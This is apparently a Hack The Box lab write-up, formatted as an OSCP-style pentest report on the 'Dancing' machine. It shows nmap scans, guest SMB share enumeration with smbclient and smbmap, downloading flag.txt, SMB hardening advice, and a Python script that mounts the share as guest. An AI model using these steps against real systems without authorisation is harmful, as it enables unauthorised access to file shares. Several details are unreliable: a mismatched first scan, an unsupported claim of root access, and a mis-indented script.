



HACKTHEBOX

Penetration Testing Report

Machine Dancing



Important!

It is important to note that the penetration testing activities may involve intrusive actions and simulated attacks that can potentially cause disruptions or impact the availability, integrity, or confidentiality of the target system and its associated data. The testing is conducted with the explicit consent and authorization of the system owner or responsible party.

indice

1. Executive Summary	2
1.1. Findings Overview	2
1.2. Recommendations	2
1.3. Severity Scale	3
1.4. Scope	3
1.4.1. Scope Exclusions	3
1.4.2. Scoping and Time Limitations	3
2. Technical Report	4
2.1. Methodology	4
2.1.1. Information Gathering	4
2.1.2. Enumeration	4
2.1.3. Vulnerability Assessment	5
2.1.4. Exploitation	6
2.1.5. Vulnerability Exploited: Weak Credentials and Anonymous/Guest Access	6
2.1.6. Reporting and Mitigation	10
2.1.7. Anexos	11



1. Executive Summary

As a candidate for the **Offensive Security Certified Professional (OSCP)** certification, I was assigned by the certification organization to conduct a security assessment on a specific network. The penetration test, which took place on June 2nd, 2023, aimed to simulate the attacks that a cybercriminal could carry out against the target network infrastructure. My objective was to identify and exploit any vulnerabilities present in the systems, gaining unauthorized access to the network and compromising sensitive assets and data.

During the assessment, I employed a combination of manual techniques and automated tools to identify weaknesses in the network's security. This involved a thorough analysis of the attack surface, scanning and enumeration of services, exploitation of known vulnerabilities, and web application penetration testing.

The discovered vulnerabilities were documented, and recommendations were provided to mitigate the identified risks. Furthermore, this report will outline the actions taken to enhance the security of the target network.

The security assessment conducted as part of the Offensive Security Certified Professional (OSCP) certification is a rigorous and comprehensive process that tests my skills and knowledge in the field of computer security.

1.1. Findings Overview

During the external penetration test, it was discovered that the server **Dancing** with the IP address **10.129.131.234** is vulnerable due to misconfiguration and weak credentials, such as those of the user **guest**, for the **SMB** service running on port 445.

1.2. Recommendations

Here are some recommendations to prevent **Anonymous/Guest Access** and **Misconfiguration**:

- **Disable anonymous access:** Disable the option for anonymous or guest access in the SMB server settings. This ensures that users need to provide valid credentials to access shared resources.
- **Implement strong authentication:** Enforce strong authentication mechanisms, such as requiring complex passwords and enabling multi-factor authentication, to prevent unauthorized access to SMB shares.
- **Regularly update and patch:** Keep the SMB server software up to date with the latest security patches and updates. Vulnerabilities in older versions can be exploited by attackers.
- **Restrict access permissions:** Set appropriate access permissions on shared folders and files to limit access to authorized users only. Follow the principle of least privilege, granting access rights only to those who need them.
- **Regular security audits:** Conduct regular security audits to identify any misconfigurations or vulnerabilities in the SMB server. This helps in addressing security issues proactively.
- **Network segmentation:** Implement network segmentation to isolate critical systems from less secure network segments. This reduces the potential impact of a security breach on SMB services.
- **Monitoring and logging:** Enable logging and monitoring of SMB server activities to detect any suspicious or unauthorized access attempts. Regularly review the logs to identify and respond to potential security incidents.
- **Employee education and awareness:** Provide training and education to employees about best practices for SMB security. Raise awareness about the risks of misconfiguration and the importance of strong authentication measures.

1.3. Severity Scale

Report Card	
Criticality	Description
CRITICAL	Poses immediate danger to systems, network, and/or data security and should be addressed as soon as possible. Exploitation requires little to no special knowledge of the target. Exploitation doesn't require highly advanced skill, training, or tools.
HIGH	Poses significant danger to systems, network, and/or data security. Exploitation commonly requires some advanced knowledge, training, skill, and/or tools. Issue(s) should be addressed promptly.
MEDIUM	Vulnerabilities should be addressed in a timely manner. Exploitation is usually more difficult to achieve and requires special knowledge or access. Exploitation may also require social engineering as well as special conditions.
LOW	Danger of exploitation is unlikely as vulnerabilities offer little to no opportunity to compromise system, network, and/or data security. Can be handled as time permits.
INFORMATIONAL	Meant to increase client's knowledge. Likely no actual threat.

1.4. Scope

Scope Table	
Assessment	Details
Host	Dancing
IPaddress	10.129.131.234

1.4.1. Scope Exclusions

- Denegación de Servicio (DoS).
- Phishing/Ingeniería Social.
- To delete files from the Host.
- only the network range can be audited.

1.4.2. Scoping and Time Limitations

Time limitations were in place for testing. Internal network penetration testing was permitted for ten (3) business days.



2. Technical Report

During the penetration test conducted within the framework of the Offensive Security Certified Professional (OSCP), a critical vulnerability was identified using the vulnerability exploit on the host named **Dancing** with the IP address **10.129.131.234**. This finding poses a significant risk to the security of the system.

By exploiting this vulnerability, unauthorized access and elevated privileges were obtained on the server, compromising the confidentiality, integrity, and availability of the information hosted on the system. This situation emphasizes the urgent need to address and mitigate the identified vulnerability to prevent future unauthorized access and potential damage to the system.

2.1. Methodology

As a penetration tester, widely adopted testing methods in the cybersecurity assessment industry were employed. This includes 5 phases:

- Information Gathering.
- Enumeration.
- Vulnerability Assessment.
- Exploitation.
- Reporting and Mitigation
- Anexos.

Throughout these phases, a combination of automated techniques and manual audits were utilized to ensure the best possible results.

2.1.1. Information Gathering

Se proporcionó una VPN y un rango de red de 10.129.131.0/24, en el cual se descubrieron la dirección **10.129.131.234**, que corresponde al host **Dancing**, los detalles del servidor son los siguientes:

- Host **Dancing**
- IP address **10.129.131.234**

The IP address and connectivity of the host/server were verified by conducting a ping sweep of the network, which returned the IP address **10.129.131.234** for **Dancing**.

2.1.2. Enumeration

Nmap

```
nmap 10.129.131.234

# Nmap 7.92 scan initiated Thu Jun 15 12:48:33 2023 as: nmap -sV -oN allports 10.129.91.160
Nmap scan report for 10.129.91.160
Host is up (0.11s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.3
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jun 15 12:48:46 2023 -- 1 IP address (1 host up) scanned in 12.87 seconds
```

```
> nmap 10.129.131.234

Starting Nmap 7.92 ( https://nmap.org ) at 2023-06-15 19:38 -05
Nmap scan report for 10.129.131.234
Host is up (0.11s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
Nmap done: 1 IP address (1 host up) scanned in 4.92 seconds
```

Image 1: Port scanning with **nmap**.

Services and versions

Anonymous login is allowed on the FTP server.

```
> nmap -sVC -p135,139,445 10.129.131.234 -oN target

Starting Nmap 7.92 ( https://nmap.org ) at 2023-06-15 16:22 -05
Nmap scan report for 10.129.131.234
Host is up (0.11s latency).

PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2023-06-16T01:23:10
|_  start_date: N/A
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
|_ clock-skew: 3h59m58s
```

Image 2: Service scanning with **nmap**.



```
nmap -sV -sC 10.129.131.234

Starting Nmap 7.92 ( https://nmap.org ) at 2023-06-15 20:50 -05
Nmap scan report for 10.129.161.16
Host is up (0.11s latency).

PORT      STATE SERVICE      VERSION
135/tcp    open  msrpc        Microsoft Windows RPC
139/tcp    open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2023-06-16T05:51:05
|_  start_date: N/A
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
|_ clock-skew: 3h59m59s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.34 seconds
```

2.1.3. Vulnerability Assessment

SMB TCP-23

In summary, we can see that port 445 is open, indicating that the SMB service is running. Since the Nmap script did not detect that the service allows the **guest** user by default, we connected to it and now have access to **flag.txt**.

2.1.4. Exploitation

Gaining access to the **Dancing** server as the root user grants us the same level of high privileges.

2.1.5. Vulnerability Exploited: Weak Credentials and Anonymous/Guest Access

System Vulnerable: 10.129.131.234

Severity: Critical

Vulnerability Fix:

To address the vulnerability of **Misconfiguration** in the context of SMB, it is crucial to implement appropriate security measures. This includes eliminating weak credentials and configuring **Anonymous/Guest Access**. Properly configuring the SMB server settings is important to prevent unauthorized access. It is essential to disable or restrict anonymous/guest access, allowing it only to necessary directories with appropriate permissions. Additionally, authentication and access control measures should be implemented to ensure that only authorized users have access to SMB server resources. Conducting regular security audits and applying security updates and patches are also important practices to keep the system protected against known vulnerabilities.

Vulnerability Explanation: Misconfiguration and Anonymous/Guest.

Once inside the service, we can see that there is a file named **flag.txt**. We can download it from the server using the **get flag.txt**, command and now we can view its contents.

List Shares

```
> smbclient -L //10.129.131.234/ -N

      Sharename      Type      Comment
      -----
      ADMIN$         Disk      Remote Admin
      C$             Disk      Default share
      IPC$           IPC       Remote IPC
      WorkShares     Disk
SMB1 disabled -- no workgroup available
> smbmap -H 10.129.131.234 -u 'none' -r /WorkShares

[+] Guest session      IP: 10.129.131.234:445  Name: 10.129.131.234
[!] Something weird happened: SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND(The object name does not exist)
[!] Something weird happened: SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND(The object name does not exist)
      Disk            Permissions      Comment
      ----
      ADMIN$         NO ACCESS      Remote Admin
      C$             NO ACCESS      Default share
      IPC$           READ ONLY      Remote IPC
      WorkShares     READ, WRITE
```

Image 3: List shares using **smbclient** and **smbmap**.


```
smb: \Amy.J\> ls
.                D            0   Mon Mar 29 04:08:24 2021
..               D            0   Mon Mar 29 04:08:24 2021
worknotes.txt    A            94   Fri Mar 26 06:00:37 2021

5114111 blocks of size 4096. 1752166 blocks available
smb: \Amy.J\> get worknotes.txt
getting file \Amy.J\worknotes.txt of size 94 as worknotes.txt (0,2 KiloBytes/
smb: \Amy.J\> cd ..
smb: \> ls
.                D            0   Thu Jun 15 21:35:31 2023
..               D            0   Thu Jun 15 21:35:31 2023
Amy.J            D            0   Mon Mar 29 04:08:24 2021
James.P          D            0   Thu Jun  3 03:38:03 2021

5114111 blocks of size 4096. 1752166 blocks available
smb: \> cd James.P
smb: \James.P\> ls
.                D            0   Thu Jun  3 03:38:03 2021
..               D            0   Thu Jun  3 03:38:03 2021
flag.txt         A            32   Mon Mar 29 04:26:57 2021

5114111 blocks of size 4096. 1752166 blocks available
smb: \James.P\> get flag.txt
```

Image 4: We navigate within the SMB service and find the **flag.txt** file in the **James.P** folder.

```
> tree
.
├── Amy.J
│   └── worknotes.txt
└── James.P
    └── flag.txt
2 directories, 2 files
```

Image 5: Using **get flag.txt**, we download the file.



```
> cat James.P/flag.txt
```

	File: James.P/flag.txt
1	5f61c10dffbc77a704d76016a22f1664

Image 6: Once we download the file, we can view its contents using the command `cat flag.txt`.



2.1.6. Reporting and Mitigation

System Cleanup

During a penetration test, tools, files, user accounts, etc., are created on the server system **Dancing**, which could compromise its security. That is why a meticulous cleanup is carried out to remove any traces left on the server after the test is completed. It is ensured that all items created during the test have been completely eliminated, aiming to maintain the integrity, confidentiality, and availability of the system.



2.1.7. Anexos

```
1  #!/usr/bin/python3
2
3  import os
4  import subprocess
5  import argparse
6
7  class Exploit:
8      def __init__(self, ip_address, lport):
9          self.ip_address = ip_address
10         self.lport = lport
11
12         def run(self):
13             mount_path = '/home/axel/HTB/dancing/content/mnt'
14             share_path = '//10.129.131.234/WorkShares'
15             username = "guest" # Define el nombre de usuario aqu
16             password = ""
17             filename = "flag.txt"
18
19             mount_command = f'mount -t cifs {share_path} {mount_path} -o username={username},
password='
20             subprocess.run(mount_command, shell=True, input=b'\n', stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL)
21
22             file_path = os.path.join(mount_path, 'James.P', filename)
23
24             try:
25                 with open(file_path, 'r') as file:
26                     content = file.read()
27                     print(f"El contenido de 'flag.txt': {content}")
28             except FileNotFoundError:
29                 print(f'El archivo {file_path} no existe.')
30             except PermissionError:
31                 print(f'No tienes permisos para leer el archivo {file_path}.')
32
33             umount_command = f'umount {mount_path}'
34             subprocess.run(umount_command, shell=True, stdout=subprocess.DEVNULL, stderr=
subprocess.DEVNULL)
35
36
37         def get_arguments():
38             parser = argparse.ArgumentParser(description='Uso de AutoPwn')
39             parser.add_argument('-i', '--ip', dest='ip_address', required=True, help='IP de host
remoto')
40             parser.add_argument('-p', '--port', dest='lport', required=True, help='Proporcionar
puerto.')
41             return parser.parse_args()
42
43         def main():
44             args = get_arguments()
45
46             exploit = Exploit(args.ip_address, args.lport)
47             exploit.run()
48
49         if __name__ == '__main__':
50             main()
51
52
53
54
```

Code 1: AutoPwn Dancing.py